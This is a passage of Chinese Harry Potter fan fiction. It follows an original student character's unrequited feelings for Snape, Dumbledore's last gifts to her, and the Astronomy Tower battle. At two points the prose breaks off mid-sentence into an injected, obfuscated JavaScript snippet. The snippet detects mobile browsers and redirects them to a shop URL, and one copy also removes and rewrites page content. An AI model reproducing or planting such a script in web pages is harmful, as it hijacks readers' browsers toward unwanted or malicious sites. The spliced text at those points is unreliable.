少女的脸上绽出了温暖的笑容,她缓缓蹲下身来,伸出手去轻轻触碰小鹿的额头。小鹿温顺地低下头,仿佛在回应她的抚摸般轻轻晃动着耳朵,尾巴也跟着摇摆了起来,守护神身上那些柔和的银光洒遍了她全身。 “教授,您的守护神好美。”蕾雅微笑着抬头望向斯内普,任由他的小鹿蹭着自己的脸颊。 斯内普伫立在那里,目光久久停留在她和那只小鹿上面。逐渐,他的脸色变得越来越沉重。 她分明看见,那里写满了无法掩盖的痛楚。 是一种深入骨髓的悲伤,仿佛有一道只有表面平整的疤痕被重新撕开,露出了内里年年月月都无法愈合的伤口。 那么鲜明、那么狰狞。 她忽而想起来,哈利的守护神也是一头鹿。 40. 情愿 斯内普没有再跟她说什么,他紧绷着脸沉默地教她怎么把信息附在守护神上。之后,蕾雅就回到格兰芬多公共休息室。 “哦梅林,怎么又一个宵禁后回来的!还一样把自己弄得脏兮兮的!” 画像上的胖夫人叉着腰,皱着眉头,一脸不满地朝蕾雅尖声说道,“你们这些孩子真是的!不准再这样了听见了吗!下次我一定不会放你们进去了!” “对、对不起。”蕾雅不好意思地朝胖夫人露出一个抱歉却真诚的笑容,说道:“下次一定不会了。” 推开了公共休息室的门,格兰芬多的热烈红色就包围了她。 帷幔、地毯、挂画,大抹大抹的红色,让她不由地想起了刚才盥洗室地板上的那种浓稠到让人发寒的鲜艳。不过空气里飘散着的巧克力蛙甜腻味倒是很截然不同,至少令人能感到放松而温馨。 本以为该宵禁后空无一人的公共休息室里,赫敏、罗恩正把哈利围在沙发上。哈利身上的衣服仍然脏兮兮黏糊糊的,衣襟上和裤子下摆都还粘着干涸的血迹和污物。他看起来不比蕾雅早回来多少,也许就多了一个能汇报盥洗室事件的时间。 此时,三个人的目光齐刷刷地转向了她,眼里都带着某种不知名的洞察,像是在等着她解释什么。 “怎么样?蕾雅,你去哪里了?”哈利直直地看着她,“你怎么比我回来得还晚?” “哦哈利!你还好吗?”蕾雅愣了一下,没想到会被他们等在这里。她走到沙发边,坐在了赫敏的旁边,顺手端起桌上的水杯抿了一口,再次说道:“他有没有把你怎么样?” “禁闭,每周六上午。”哈利本来还挺明亮的眼睛,在提到这个“他”字之后瞬间暗淡下去一些。 “我都不想跟你说我说过你了。那个什么王子绝对有问题。”赫敏耸耸肩,白他一眼,随即大声接着说:“这下今年我们魁地奇就要垫底了。” “好啦,赫敏!”罗恩忍不住打断了棕发少女的抱怨,目光好奇地转向蕾雅,“所以呢,他为什么带你去办公室了?” 蕾雅微微愣住,大脑像是一下子空白了。她喃喃道:“办公室?” “嗯,活点地图。”哈利不好意思地从自己身后拿出那叠泛黄的羊皮纸,抓了抓自己的黑发,上面跟马尔福一样挂着些血污,“我刚刚看到你在斯内普办公室……对不起,我本来只是好奇斯内普和马尔福之后会去哪儿……” “得了吧哈利,别编台词了,你就直接告诉她吧。”罗恩打趣地挥了挥手说道。 “告诉我什么?”蕾雅扬了扬眉毛,朝赫敏看去,祈祷自己的好友能给点提示。 赫敏的嘴角上确实挂着一个神秘的笑容,棕褐色的眼睛里也带着一点意味深长的浮光:“哈利早就发现,你好像每周五晚上都会在斯内普的办公室。” “呃……”黑发少女顿在了原地,实在是没想起来还有活点地图这回事。 所以其实这三个人早就知道了她一直都有跟斯内普在接触? ?“他在关你禁闭,是吗?”哈利愤愤不平地说道,“就像他马上要关我禁闭一样。可你没做错什么啊,我不理解。” “对于地下室的大蝙蝠,有什么好理解的。”罗恩突然插了一句,话里带着调侃的笑意,“哦忘了,现在不是地下室了,不过就是在塔楼里,他还是能把教室布置成地下室,哈哈。” 蕾雅环视了一圈四周,眼睛在快速地转动着,希望能编出一个能说服他们的话。她将身体轻轻往前倾,咽了咽喉咙,将视线放在茶几上的杯子一瞬,又瞥向壁炉上方的狮子石雕一眼,最后回到他们身上,脸上带上几分认真地说道:“……其实,斯内普在教我狼毒药剂。” “狼毒药剂?!”赫敏提高了声音,讶异地说道,“他教你这个做什么?” 哈利也很错愕地盯着蕾雅,显然是没想过这个原因。他张大了嘴,却找不出更多的话来。 “是邓布利多校长的安排,为了卢平教授。”黑发少女顺着解释了下去,“斯内普好像后面会变得很忙,没时间给卢平教授熬药了。” “狼毒药剂这么难的药!”赫敏的重点已经完全跑偏了,错愕连连地盯着蕾雅,瞪大了眼睛问道:“你学会了?” 蕾雅被她盯得有些尴尬,以很小的弧度点了点头。 “好吧,难怪你最近魔药水平进步这么快。”赫敏淡淡地说道。 接下来,罗恩对这个话题已经失去了兴趣,连连打着哈欠,站起身来准备去睡觉。赫敏虽然看起来有些不甘心,但最终也沉默地起身,若有所思地朝寝室走去。 就在蕾雅也准备起身去清洗掉身上的污渍时,哈利突然靠近了一些,脸上带着一丝犹豫。 “你没事吧?对不起,我刚刚在那里吼了你。”蕾雅察觉到了他的情绪,重新坐回沙发里,担忧地看着他,“放心,我不会说出去的。” “没用了,斯内普已经知道了。”哈利苦笑着耸了耸肩,叹了口气,声音低了一些:“我只是想问,你怎么知道那个魔咒,还有它的反咒?” 哦,还有这件事。 蕾雅扯了扯嘴角,很快就答道:“之前在魔药学教室关禁闭的时候,我看见了混血王子的那本书。” “可是,我翻过了上面没写反咒啊。”哈利的困惑依旧没有消散。 糟糕,蕾雅暗暗懊恼,心里空空得让她忐忑。是当时情急之下就直接脱口而出的咒语,她突然意识到自己根本没考虑到过之后要怎么向哈利解释,而哈利肯定是会问的,他一直对“王子”这么着迷。 蕾雅干脆找了个合适的借口:“其实,我只是碰运气了。这是之前爸爸告诉我对黑魔法用的治疗咒语。我也没想过他会起效。” 对了,刚刚在自己跟马尔福去医疗翼的时间里,斯内普对哈利说了什么呢?他告诉哈利自己就是混血王子了吗? 想到这里,蕾雅看着哈利的脸,正好把话题转开:“所以……那本书怎么样了?被斯内普没收了吗?” “没,”哈利垂头丧气地摆了摆手,“我把它藏在有求必应屋里了,我再也不想管这个王子了。” 蕾雅有一瞬恍惚:“你不想知道他是谁了吗?” “不管他是谁,我都没兴趣了。”哈利咬着牙说,显然还是对于神锋无影这个咒语感到心有余悸。 她当然懂,第一次使用这个咒语伤害到斯内普的时候,她也被吓得不轻,虽然那并非出于她本意。 那就先这样吧,至少没有暴露什么要紧的消息。 看着面前这个有些落魄的黑发男孩,蕾雅晃了晃脑袋站起身来,微笑着给了哈利一个有点同病相怜意味的拥抱,轻声在他耳边说道:“好了,别想这么多了,晚安,哈利。” 随后,她转身往浴室走去。 等到蕾雅终于把自己的每一根发丝都冲得干干净净,又仔细刷洗了从衬衫到皮鞋的每一处污渍后,她打着哈欠回到了寝室。 寝室里安静无比,赫敏和拉文德已经躺在各自的床上了。伴着那些微弱跳动的魔法烛火,蕾雅坐在床上抹了一些润肤露,然后将画着玫瑰花的瓶子搁在床头柜上,顺手熄了寝室的烛火,摸着黑钻进了柔软的羽毛被里。 还没等她调整到一个合适的睡姿,蕾雅听见了一阵细碎的被子掀开的声音,然后是床垫因重量变化的轻微声响——接着,她感觉自己的床幔被拉开了。 蕾雅睁开眼看过去,正对上黑夜里的一头乱糟糟的卷发,是不用猜都知道是谁那种特征。 “来跟你聊聊。”赫敏抱着枕头,二话不说已经坐到她的床上了,下一刻踢掉鞋子,轻巧地爬上了她的床。 “拜托,赫敏小姐,三年级之后我的床就挤不下我们两个了。”蕾雅佯装不满地嘀咕了一句,不过还是侧身抱着泰迪熊往里挪了一些,勉强维持到自己不会掉下去的程度,给赫敏腾出了空间。 “哎呀,挤挤。”赫敏将枕头调整了一下,就掀开了蕾雅的羽毛被钻了进来,她的小臂很温暖,正贴着蕾雅的,“话说你洗干净了吧。” “没洗呢,你回自己床去。”蕾雅使坏般笑着说,故意把手搭在赫敏的腰上。 赫敏也被逗笑了起来,她稍微侧了侧身子,凑近了些:“其实,我觉得你比去年变了好多,是不是有什么事发生了?” “是吗。”蕾雅也侧过身,两位少女在微暗的寝室里面对面,就像回到了刚来霍格沃茨的时候,她们会躲在被窝里悄悄聊天。“也许,是我找到想做的事了吧。” “想做的事?”赫敏疑惑地问道。 “嗯,想做的事。现在不能告诉你,因为还没想好怎么说。”蕾雅故作神秘,调皮地笑了一下。 “嘿!”赫敏不满地叹了一声,将被子拉高了一些盖过自己的肩膀,声音低了几分:“你知道我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她好像也不知道。等意识过来的时候,一开始的好奇和仰慕已经变成了盘踞在心里的喜欢。就像一颗无意间被飞鸟落下的小小种子,不断长不断长,不经意间,繁盛的藤蔓已经攀满了心房的每一支毛细血管。 蕾雅舔了舔有些干燥的嘴唇,调整到一个比较舒服的姿势,缓缓说道:“大概是,我觉得他虽然很古怪,但其实也很温柔?” “温柔?!”赫敏被她的话吓得脱口而出一句惊叹,但很快意识到自己说得太大声,急忙捂住了嘴,再次压低声音笑着:“你怎么能在斯内普身上用这个词。” 蕾雅没有回应,只是将自己滚烫得不行的脸埋进了泰迪熊里。 温柔。是的。 他曾救过她,给他们治伤和备药,细心地教她魔药,在她感冒的时候上温暖咒和送提神剂。 还会注意到自己很怕冷,会不动声色地添木柴,会给她垫地毯,自那一次圣诞节以后,他的办公室也总是很暖—— 是啊。她都注意到了。 他很温柔,温柔到纵容着自己一次次呆在他身边。 赫敏见蕾雅不说话了,伸出手来轻轻捏了捏她炙热的脸颊。 这种热度让她很快就意识到了,这份爱慕早已超过了那种懵懂浅显,是一种更为深刻的的情感。也许正是这种喜欢,让自己的好友不断地努力着,努力地去跟上他的步子。 随后,赫敏遗憾地叹息道:“听着,蕾雅。你真的不能陷得太深了。他不会回应你这个才十七岁的小傻瓜的。” 没错,赫敏总是能这样讨人厌地、直截了当地指出关键。 蕾雅把自己的脸埋得更深了,不仅脸颊,她感觉连眼眶也开始变热了。 她又怎么不知道呢,邓布利多早就告诫过她了,这会是一份不会被回应的感情,是一厢情愿的、单方面的付出。 灯蛾扑火,孤注一掷。 “我知道,我不要他回应我。他也早已有深爱的人。” 赫敏叹了一口气,伸出手来搂紧了她,令人安心的手掌抚过她的背脊:“你这个傻瓜,那这又是为了什么呢。” 为了让他活下来。 蕾雅自作多情地在心里答道。 41. 前夕 六月的第二个星期,天气是极好的。 浅金色的灿烂阳光透穿了前一晚的湿重雾气,温暖的光束翻起了草地里那种青绿色的清新气息,让人丝毫不怀疑,盛夏即将浸润霍格沃茨的每一个角落。 就连黑魔法防御课教室中,厚重窗帘也难以阻挡无处不在的阳光渗透,几缕鲁莽的光线从缝隙中钻进来,撞在他们的黑魔法防御课教授的黑袍之上,光影交错得让这位少女不时在课上分了神。 黄昏时分,蕾雅迎着依旧明亮的暮色爬上霍格沃茨的高处,狮鹫雕像被窗外的余晖照得发出绚烂的黄铜光泽。她推开校长室的木门,看到邓布利多披着一件黑色的旅行斗篷,背对着门口,湛蓝如海的眼睛正注视着落日里的霍格沃茨。 蕾雅清了清喉咙,轻声对他打了个招呼:“邓布利多先生。” 邓布利多转过身来,笑容温暖得就如窗外的落日般。他从窗边走过来,挥手让一个金属罐子漂浮到她面前:“噢蕾雅,你来了。要不要来颗糖?” 蕾雅低头看着罐子里各种颜色的糖,随手挑了一颗用紫色包装的,撕开来放到自己的嘴里。一阵清甜的葡萄味从嘴里散开,整个人都沉浸在一种果味的芬芳里。她含着糖,疑惑地望向邓布利多:“……您找我是为了?” 老巫师将糖罐子传到了一边去,平静地开口道:“听好了,蕾雅。我今晚要跟哈利外出。我不知道我自己能不能活过今天,所以,我必须现在把这些东西交给你。” “好、好的。”蕾雅觉得好像事情变得有点严肃,连忙把嘴里的糖咽了下去,郑重地直视着邓布利多。 邓布利多只是轻轻笑了笑,左手拿出魔杖:“好孩子,把手伸出来。” 蕾雅点了点头,走到他的身前伸出了双手。老巫师以魔杖稍稍指向少女的手心,低声念出一个模糊的咒语。一个小巧的黄金色小瓶子凭空出现,安静地躺进了她的手心里。 “这是?”她拿起瓶子,细细打量。它看起来像个药瓶,但瓶身上缠绕着精细的链子,仔细一看,那些链子竟在缓慢移动,像是一条静静流动的发光小河。 邓布利多将魔杖拢回袖子里,目光移向了门口金枝上的凤凰,说道:“凤凰眼泪。” 蕾雅顺着他的目光望去,凤凰福克斯红得像一团燃烧的烈焰。它正歪着那小巧的脑袋,明亮的黑眼睛与少女对视了一秒,又低下头,悠然地啃食着一小块鱼干。 “……凤凰的眼泪?”少女吃惊地叹出了声,“我记得这是很难收集和储存的。” “确实如此,但总有办法,亲爱的。”老巫师的脸上浮现出一丝神秘的笑容,调皮地朝她眨了眨眼:“我不能把后面的事说得太清楚,怕一旦说出口,命运就会发生变故。但答应我,收好它。你知道这是为了什么的,对吗?” 斯内普。 “嗯,我知道。”她点点头,将金色的小瓶子收进衬衣口袋。窗外的落日映在她的绿眸里,折射出坚定而明亮的光来。 “还有。”邓布利多徐徐挥手,墙边的一个柜子缓缓推出。架子上摆放着许多瓶子,随着邓布利多的动作,一只细长的玻璃瓶忽而朝他们飘了过来,上面贴着一个小小的标签。 蕾雅看清楚了,玻璃瓶里装着泛着光的一缕缕思绪,是记忆。缥缈虚幻得不像是这个世界的物质。 老巫师掂起这个玻璃瓶,眯起了眼睛看了一阵,随后将它递给了她。 “这是?”蕾雅讶异地接过来,瓶身的微凉从指尖传了过来。她低头转动瓶子,标签上写着“西弗勒斯·斯内普”。她轻声道:“斯内普教授的?” “是的,我想请你在一切结束后,把它交给他。”邓布利多说。 “一切?”蕾雅问到。 “我不在了以后。”邓布利多坦然地说。 “呃……”蕾雅皱眉,沉思了一阵,又问道:“先生,您能给它加一道保密咒吗?比如说,只有斯内普教授能打开那种。” 邓布利多有些惊讶地挑起一根银白色眉毛,湛蓝色的眼睛透过眼镜定定地观察着少女。 “虽然您交给了我,但我不希望他觉得我会看过这些记忆。”蕾雅小声解释道,“我不想让他感到不舒服。” “你不想知道吗?”老巫师试探地问道,显然他本打算让她了解这些记忆。 “我不想这样窥探他的心。”蕾雅恳切地答道,伸手将瓶子递了过去。 邓布利多怔住了一瞬,随即了然一笑,再次摸出了魔杖点了点瓶身。一道细小的金线缠绕在了瓶口,渐渐化成一把小小的锁。 “好了,”邓布利多笑眯眯地说,“现在,只有西弗勒斯本人能打开这瓶记忆。” “谢谢您。”蕾雅谨慎地将瓶子放进口袋里。 邓布利多重新转头看向窗外,蕾雅觉得他好像还有话要说,就安静地陪在老人的身侧看了一阵落日。 “蕾雅,好孩子。你要知道,没有你,我本不打算制定这些计划。”邓布利多叹了一口气,轻柔地拍了拍她的肩膀,以一种娓娓道来的语调开口道:“你还要明白,人们总是需要时间去学会处理情感。有些人比别人花费更多的时间。那一天终会到来的,只要活下去。” 邓布利多的慈祥的眉眼下中压着悲伤,与她曾在斯内普脸上看到的痛楚如出一辙。 “校长……” 别离开我们。别离开我们。 蕾雅久久凝视着这位站在她面前的白发巫师,眼里突然地就溢出了湿热的泪水。她鼻子一酸,再也忍不住地大步上前,伸手环抱住了这位年迈的巫师,任由自己被这位伟大巫师身上那种古朴的凛然气息包围着。 邓布利多用左手再次抚了抚她的肩膀,心疼地低头看着这位格兰芬多少女,眼角微微颤动,语气里不由自主地蒙上了沉重的愁绪:“好孩子,好孩子。别难过,一切会过去的。” 少女哭得几乎止不住,心脏也跳动得隐隐作痛。良久,她在老人慈爱温暖的怀抱中茫然地点着头,渐渐松开了他,抬手抹去眼中的泪水。 “去吧,帮我把哈利叫过来。” “邓布利多校长,”她哽咽着走到校长室门口,向这位伟大的白巫师深深行了一礼,不舍地看了他最后一眼:“保重。” 邓布利多微笑着伫立在那里,朝她微微扬起下巴。 霍格沃茨高窗外的夕阳倾泻在那身繁复的星月袍上,高瘦魁岸的身影笼罩在熠熠的光辉之中,宛如天宿晨星,傲然璀璨。 蕾雅几乎是忍着泪水,跌跌撞撞地回到公共休息室找到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13593451|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈利。 哈利出去了一阵,又从校长室短暂地回来了一刻,急忙跑回寝室。就在沙发上三个人困惑地盯着他的时候,他以飞快的语速告诉他们,必须立刻召集D.A.成员,从马尔福和斯内普手里保卫霍格沃茨。 哈利把福灵剂留给了他们,轮番抱了抱每个人,匆匆忙忙地跟邓布利多一起离开了。 他们走后不久,大概是在宵禁的时分。本该星月清朗的夜空,突然像是要酝酿起一场瓢泼的大雨,皓月被沉甸甸的低压厚云无情地推到了很后面。 夜晚的世界泛起一种阴森的灰光,空气里没有一丝风,整个城堡被包裹在一阵令人窒息的凝滞里,就像是在为一场舞台剧铺垫着前奏那样惊悚诡谲。 蕾雅和格兰芬多的D.A.成员躲在离公共休息室不远的一间空教室里,等待着哈利和邓布利多的归来。每个人的心情都像是这骤然转阴的天空一样,随着时间的流逝,愈发沉重。 “他会没事的,对吗?”赫敏忐忑而小声地问。 “一定会,邓布利多在呢。”金妮斩钉截铁地说。 就在此时,一声呼啸的气流声撕破了静谧,从天文塔的方向传来。这声音阴郁到像猛鬼的低语般令人恶寒。所有人都被吓了一跳,一种不安的氛围蔓延开了,他们互相看了一眼,旋即冲出教室。 站在走廊里一抬头,他们便看到了天文塔上方升起了一道刺眼的绿光,一副惊骇骷髅头赫然出现。骷髅的长发和胡须长长地扬开在低沉的阴云之下,一条狰狞丑陋的蛇信子正从骷髅的嘴里缓缓吐出。 “梅林的胡子!”罗恩颤抖着喊了一句,“我没看错吧!这可是霍格沃茨啊!” “黑魔标记!”纳威快速地喃喃道,他的嘴巴也在哆嗦着,“哈利说得没错,他们真的来了……” 金妮和赫敏的脸都变得苍白了,眼里不仅有恐惧,还有愤怒。 赫敏镇定下来,虽然她的声音僵硬得仿佛从喉咙里挤出:“我们每人喝一口福灵剂,然后两人一组,去城堡巡逻,叫醒其他成员和教授,好吗?” 大家都顺从地点头,将福灵剂传了出去,每个人毫不犹豫地喝了一口。 蕾雅不能确切描述自己是怀着一种什么样的心情喝下福灵剂的。但喝下去的一瞬间,一种奇异的感觉从腹腔里流淌至全身的神经末梢里。刚刚被震慑住的身体恢复了过来,整个人感觉头脑一轻,无比愉悦轻快。 她用手指抹了抹自己有些湿润的嘴唇。紧接着,她的大脑里就浮现出了一个词。 ——黑魔法防御课办公室。 她顿了一顿,立即就意识过来了是与斯内普有关。 但是她不能跟赫敏直接说她要去找斯内普,也并不能在这个时候告诉赫敏斯内普其实是邓布利多的人。 蕾雅皱起了眉,紧盯着正在部署一切的赫敏,大脑在飞快思索着借口。 但是很快她就发现,面对聪慧的赫敏,她甚至都找不出一个合理的借口。于是,蕾雅咬着牙,直接把心一沉,朝走廊的方向后退着转身—— “各位,我得一个人去个地方,福灵剂让我去的!”她朝身后的D.A.成员喊道。 还没等赫敏她们反应过来,蕾雅已经用尽全身力气跑进走廊深处。 42. 道别 蕾雅以最快的速度穿过庭院和长廊,一路紧张地眺望着垂得愈来愈低的层云,故意不去在意头顶瘆人的绿光。校园里空荡荡的,四周一片死寂,一个人都没有,好像仍然处在安然舒心的夜里,不过是多了个恐怖的标记无声地兀自悬挂在那里。 她喘着气从一侧的小门悄悄溜进了天文塔。 天文塔里黑漆漆一片,幸好黑魔法防御教室的旁边就是一扇落地的高窗。她迎着已经有些黯淡的微光,一步跨上三个台阶那样跑上了二楼。在右手侧,眼前终于出现了那扇熟悉的木门,她丝毫没有任何犹豫,用双手推开了门跑进去。 斯内普就站在那里,苍白的脸上落满了窗外黯然静默的光,一如既往的黑色长袍笔直垂下,远远看去,仿佛无星夜里的肃穆死神。 听见开门的声音,斯内普应声侧过身来,在见到少女的那一刻,他的脸上闪过讶异,但旋即被一股莫名的怒气取代。 “你来这里干什么?”他抑制住腹腔的怒意,声音阴冷得如同寒铁。 “是黑魔标记。”她急促地喘息着,向他走去,“邓布利多先生出去了。” “你是为了这点愚蠢的小事来的吗?为什么不用守护神传信?!”斯内普生气了,几乎是在朝她吼着:“现在,立刻滚回去!” 蕾雅晃了晃脑袋,执着地更走近他了一些。斯内普背对着光的脸上是一片晦暗的阴影,她看不清他的表情。她努力迎上那双黑沉无光的眼睛,发现那里是比黑夜还要深、还要远、还要不可测。 “可是,我需要见您,先生。”她淡然地叙述着。 斯内普的嘴唇抿成一道直线。 “邓布利多先生告诉我,他可能活不过今天。”蕾雅轻轻地继续说着,但双唇逐渐不住地发抖起来:“所以是今天,对吗?” 斯内普的下颚微微收紧,生硬而严厉地说道:“我让你回去!” 就在这时,一种十分不详的气息灌进这间教室。一连串建筑物被碾碎开的震耳欲聋声,夹杂着许多道划破黑暗的刺眼光束同时从门口方向的窗户透了进来,整个塔楼的地板似乎也因此颤动着。 一把尖锐的女声正在欢呼,接踵而至的吊灯砸下巨大声响彻底割破了这座塔楼的寂静。 “嘿!德拉科!干得好!他中计了!” “贝拉!”另一把更加疯狂的男声从门厅的放下传来,语气中带着戏谑,不知道是在阻止还是在鼓励她。 很快,蕾雅就知道不是后者了。因为此起彼伏的破坏和爆炸声并没有随着男人的声音停下来,反而越来越近,越来越响—— 还没等蕾雅反应,斯内普已经大步跨了过来。他沉着脸一把抓住她的手臂,拖着她爬上了教室前侧那陈旧狭窄的大理石楼梯,将她耸进了自己的办公室里。 蕾雅惊恐地扬起下巴看他,办公室里的魔法烛火有微弱的亮光,正好映照出他紧绷的样子。她的心在慌乱地跳动,她顺势拉住他马上就要抽回的手臂,她的眼里有不忍的泪光。 她知道他必须走了。 “呆在里面。”斯内普别过头,把脸埋在自己的黑发里,压低声音说道:“等一切结束了再出去。我相信你会保证我的。” “这之后,您要去哪里?”蕾雅疑惑的声音充满了急切,她谨慎地探出头去注视他的神情。 斯内普的唇角轻微抽动了一下,没有回答,渐渐下沉成一个可怖的弧度。他的那双眼睛也深陷在阴影中,乌黑的眼底压满了悲伤,宛若一头受伤的、卑微的野兽。 她看出来了,他在挣扎。 泪水瞬间在蕾雅的眼眶中打转,看向他的视线逐渐变得模糊。就在短暂的沉默里,福灵剂带来的温热感在此刻愈发强烈,少女顺从着本能伸出手去,以指尖小心翼翼地擦过黑发巫师深邃的眼眸、骄傲的鼻梁、最后落在他刻薄的嘴唇上。 是他的温度,她曾经亲吻过他。 “教授,”她轻轻唤他,绿眸温润动人,“一切会过去的。” 斯内普垂下眼来,就看见了少女泛红的眼眶,他仅仅与她对视了一瞬,便漠然地闭上了眼睛。 他不动声色地从她温热的手中抽回手臂,转而抬手攥住她的手腕,很用力地按了下去。他的指关节稍稍泛白,是用力到在她白皙的皮肤上也烙上了一圈生生发疼的红印。 他没有再多说一句话,将她推回办公室里,门重重地关上了。 盯着那扇紧闭的门,蕾雅捂住嘴,泪水再也无法抑制地流了下来。无力感铺天盖地,自己就像是伶仃大海中的一叶小舟。明明下定决心了要朝着远方的启明星去,但完全无法控制方向,只能随着洋流无力游荡,直到离他越来越远。 她多想与他并肩,哪怕只是分担一点。 但是哭泣是没有任何意义的。情绪放纵过后,蕾雅很快就擦干了泪水,慢慢站直了身。她很想知道他去了哪里,而外面又在发生什么。但整个霍格沃茨好像忽而停止了时间一样,沉浸在了无声的寂静之海里。 蕾雅拉开了那些厚重的窗帘,转身的时候眼角余光扫见了办公桌敞开的抽屉。她好奇地走近些,低头就发现了被他压在里面的明信片,底下还压着几张卡片,都是她写给他的。一旁,整齐地摆着她送给他的几个小木盒。 灿烂的阳光,湛蓝的海水,漫山的红陶瓦顶。那些零碎的句子—— 他都留在了这里,让她感觉就像是他故意留下了一个明亮的世界。 突然间,她的思绪也被粗暴地扯回。窗外的天空中刹然出现了迅猛的火光,而后是更多的光束迸发而起。 蕾雅从斯内普办公室的窗户眺望出去,那些如彗星的光线在夜色里划出一道道弧线,那样长,那样远,径自向着霍格沃茨庭院的上空,继而炸裂。许许多多的赤红碎屑撞在每一个屋顶上面,瓦片顿时四散弹开,发出浩荡壮阔的巨响将整座城堡惊醒。 就在这一瞬,蕾雅的眼睛瞪得大大的——邓布利多的躯体兀然出现在了这扇高窗的前面。他双目紧闭,脸色苍白如灰,白发凌乱地散落在夜色里,裹着他的星月袍也失去了颜色。他在坠落,枯黑的焦手高高扬起,在她的视网膜上擦出一条凌冽的黑线。 “不要!!!”蕾雅失声尖叫,背脊骤然一凉,手臂竭力朝前伸出,试图抓住这位老巫师。但他是那么的遥远,那么的遥远,她够不到,她只能眼睁睁地看着他下坠。 最后,她隔着窗,举起魔杖施展了一发减震咒,她想竭尽全力保护着他的躯体,至少让它完整。 一切皆徒劳。 一切皆徒劳。 无论是她,还是斯内普。 …… 夜仍然很长,一阵骚乱又传入了这间教室。 “快走!”是斯内普冷硬的声音。 “统统石化!”是哈利嘶吼的声音,紧随其后。 “快——金妮!他们还在塔楼上面,快!”是麦格教授的声音,带着紧迫的焦虑。 蕾雅意识到此时这座被惊醒的城堡里,有很多人都开始了奋力反抗。就在这个时候,她血脉里浑然天成的格兰芬多精神迅速被唤醒,随后就发现自己无法遵守斯内普的话——她想、也需要加入这些人,一同为了保护这座城堡而战斗。……也许,还是为了让他离开而战斗。 下一刻,蕾雅就紧攥着魔杖飞奔出教室。 转出走廊时,蕾雅远远就望见哈利正紧追着斯内普和马尔福。而塔楼上面是更多更猛烈的激战打斗声,粉碎的瓦砾纷纷扬扬从高楼层上洒了下来,激得满地都是烟雾。蕾雅没有在意头顶上的事情,她迅速跳下台阶往哈利的方向而去。 一路上,蕾雅屏住呼吸不去吸入那些尘土,一边施展着防护咒将碎屑弹出去。她用尽全力地跑着,视线紧盯着哈利的身影,前方是更远处的斯内普和马尔福。剧烈的奔跑和不经意间吸入的尘埃让她肺部作痛,小腹也硬生生地发疼。 忽然,一个食死徒从走廊的拐角窜出,魔杖直指哈利的后背,魔杖尖端闪出森冷的绿光。 “昏昏倒地!”蕾雅毫不犹豫的魔咒精准地从楼梯这侧击中那个食死徒,将他撞倒在地。 “哈利!小心背后!”她朝哈利大喊。 整个城堡弥漫着尖叫和爆炸的回声,火焰如烟花,在四处炸裂,每个角落都充斥着混乱的景象。教授们已经全部冲进了塔楼里,试图阻止这场突如其来的灾难,惶恐不安的学生们正在往这座古老城堡的各个长廊里四散流窜。 有更多的人在参与战斗,在慌乱的奔跑里蕾雅望见了唐克斯和卢平,还有布莱克。魔咒光芒不停地撕开已经充满了压迫感的幽黑空间,让人感觉整个世界就快要倾数崩塌了。 “乒乓——”这次是一副盔甲被砸开的声音,飞散的尖锐碎片朝蕾雅的方向扑了过来。 “防护咒!”蕾雅凭着自己被斯内普训练的本能施展着魔咒,她顺着角度将手腕一拧,那个碎片沿着原来的轨迹弹射了回去,正正地命中了走廊尽头的一个食死徒。 “他们跑出去了!”哈利焦急地对她喊道,甚至没有回过头看她,“他们要离开这里只能出去!” 蕾雅在努力地调整呼吸,耳边都是呼啸的风声,她拼尽了全力跟在了哈利的后面,两个人一起跑出了门厅,冲进了浓重的夜雾里。 他们前面,三道黑影沿着无光的草坪飞奔,她可以清晰地看见他的黑袍在高高扬起。 “哈利!”蕾雅跑得上气不接下气,也还是跟不上哈利的速度,她想要伸出手去抓住他:“不行!太危险了!至少等等麦格教授他们!” “不行!他杀了邓布利多!是斯内普!我不能让他们离开这里!!”哈利执拗地吼道。 蕾雅瞥见了哈利衣服上的血痕,显然他已经受伤了,她焦急地继续回答道:“我知道!但你不是他们的对——” 这种无力感是那么的浓烈。就像刚才她够不到邓布利多的躯体一样。 她的大脑一片空白,一时之间反应不过来自己到底是想要跟哈利一起捉住斯内普,还是想要暗中帮助斯内普平安地全身而退。 显然,邓布利多没有告诉她接下来该怎么办——但至少,她此时必须跟哈利在一起。 “砰!”一声轰响打断了他们的对话与思绪。半巨人海格从木屋跌撞着冲了出来,手里举着他的粉红色雨伞魔杖,恰好阻断了斯内普和马尔福前进的路。但是紧接着,蕾雅听见身后有迅速接近的脚步声,她顾不上海格和斯内普在发生什么事,立刻朝哈利警觉地大喊:“哈利,躲开!!!” 太晚了,一发白光迅猛地擦过她的脸,直直冲向哈利。下一瞬,她看见哈利狠狠地被砸倒在地上,一阵火辣辣的刺痛也从自己左边的脸颊上弥漫开来。一种被惹怒的激愤涌向大脑,蕾雅皱着眉抬手抹去脸上的血,转头朝攻击自己的人怒瞪了回去。 几乎在同一个时刻,一声“昏昏倒地”带着魔杖尖端的明艳殷红一起涌溅了出去,压向她身后的两个食死徒,瞬间击倒了其中一个。 “哦?挺能干。”不知道是谁的声音,粗犷而阴冷。 “昏昏倒地!”哈利的声音紧接而至,另一个食死徒也被击中倒下。 “干得好,哈利。”她重新跑向他。 但没等蕾雅赶上,哈利很快爬起来,奋不顾身地继续向着被海格阻拦了一会儿的斯内普快跑而去。 福灵剂的作用消散开的时候,层云也跟着散去了,大片薄凉的冷月洒落在了草坪上面。一侧,海格的房屋被另一个食死徒点燃了,膨胀的火球在虚空中跃开,熊熊的火焰像是要突破天际一样扶摇直上而去,巨人的怒号地动山摇。 “昏昏倒地!”哈利趁着这番动乱追上了斯内普。他飞快地挥起魔杖,凄厉的红光如利箭般直射斯内普的后背。 